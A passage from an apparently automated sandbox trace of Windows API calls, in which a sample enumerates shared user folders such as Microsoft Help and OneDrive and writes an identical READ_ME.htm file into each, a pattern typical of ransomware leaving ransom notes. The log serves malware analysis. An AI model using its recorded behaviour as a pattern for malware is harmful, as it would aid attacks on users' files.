lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf0fbf040, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf0fbf040, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.16.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0142.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1876, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0142.072] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fc9ee60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.072] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fc9ee60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.072] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.072] SetErrorMode (uMode=0x0) returned 0x1 [0142.072] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help", lpFilePart=0x0) returned 0x21 [0142.072] SetErrorMode (uMode=0x1) returned 0x0 [0142.072] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*" (normalized: "c:\\users\\all users\\microsoft help\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe5875240, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe5875240, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe590d7c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.DATABASECOMPARE.16.1033.hxn", cAlternateFileName="MSDATA~1.HXN")) returned 1 [0142.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe69dd320, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe69dd320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe6a4f740, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.16.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0142.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.16.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0142.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe746d4c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe746d4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe74df8e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.16.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0142.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC.16.1033.hxn", cAlternateFileName="MSLYNC~1.HXN")) returned 1 [0142.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_BASIC.16.1033.hxn", cAlternateFileName="MSLYNC~3.HXN")) returned 1 [0142.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_ONLINE.16.1033.hxn", cAlternateFileName="MSLYNC~2.HXN")) returned 1 [0142.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe32390e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.16.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0142.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.16.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0142.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf00b8560, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf00b8560, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf012a980, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.16.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0142.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe451df80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe451df80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe45903a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.16.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0142.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xed88d220, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xed88d220, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xed8ff640, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.16.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0142.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeef50480, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeef50480, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeefc28a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.16.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0142.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.16.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0142.075] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB.16.1033.hxn", cAlternateFileName="MSSKYP~1.HXN")) returned 1 [0142.075] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe9123e20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_BASIC.16.1033.hxn", cAlternateFileName="MSSKYP~3.HXN")) returned 1 [0142.075] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINE.16.1033.hxn", cAlternateFileName="MSSKYP~2.HXN")) returned 1 [0142.075] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe908b8a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe908b8a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe9123e20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINEG.16.1033.hxn", cAlternateFileName="MSSKYP~4.HXN")) returned 1 [0142.075] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe5875240, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe5875240, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe590d7c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SPREADSHEETCOMPARE.16.1033.hxn", cAlternateFileName="MSSPRE~1.HXN")) returned 1 [0142.075] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf0fbf040, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf0fbf040, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.16.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0142.075] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1876, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0142.075] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fc9ee60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.075] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fc9ee60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.076] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.076] SetErrorMode (uMode=0x0) returned 0x1 [0142.076] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help\\READ_ME.htm", lpFilePart=0x0) returned 0x2d [0142.076] SetErrorMode (uMode=0x1) returned 0x0 [0142.076] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft help\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.077] GetFileType (hFile=0x1d0) returned 0x1 [0142.077] SetErrorMode (uMode=0x0) returned 0x1 [0142.077] GetFileType (hFile=0x1d0) returned 0x1 [0142.077] WriteFile (in: hFile=0x1d0, lpBuffer=0x299cf28*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x299cf28*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0142.078] CloseHandle (hObject=0x1d0) returned 1 [0142.078] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive", lpFilePart=0x0) returned 0x25 [0142.078] SetErrorMode (uMode=0x1) returned 0x0 [0142.078] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\*" (normalized: "c:\\users\\all users\\microsoft onedrive\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.079] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.079] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fcc4fc0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.079] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0142.079] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0142.079] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.079] SetErrorMode (uMode=0x0) returned 0x1 [0142.079] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive", lpFilePart=0x0) returned 0x25 [0142.079] SetErrorMode (uMode=0x1) returned 0x0 [0142.079] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\*" (normalized: "c:\\users\\all users\\microsoft onedrive\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.080] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.080] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fcc4fc0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.080] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0142.080] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0142.080] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.080] SetErrorMode (uMode=0x0) returned 0x1 [0142.080] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive\\setup", lpFilePart=0x0) returned 0x2b [0142.080] SetErrorMode (uMode=0x1) returned 0x0 [0142.081] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*" (normalized: "c:\\users\\all users\\microsoft 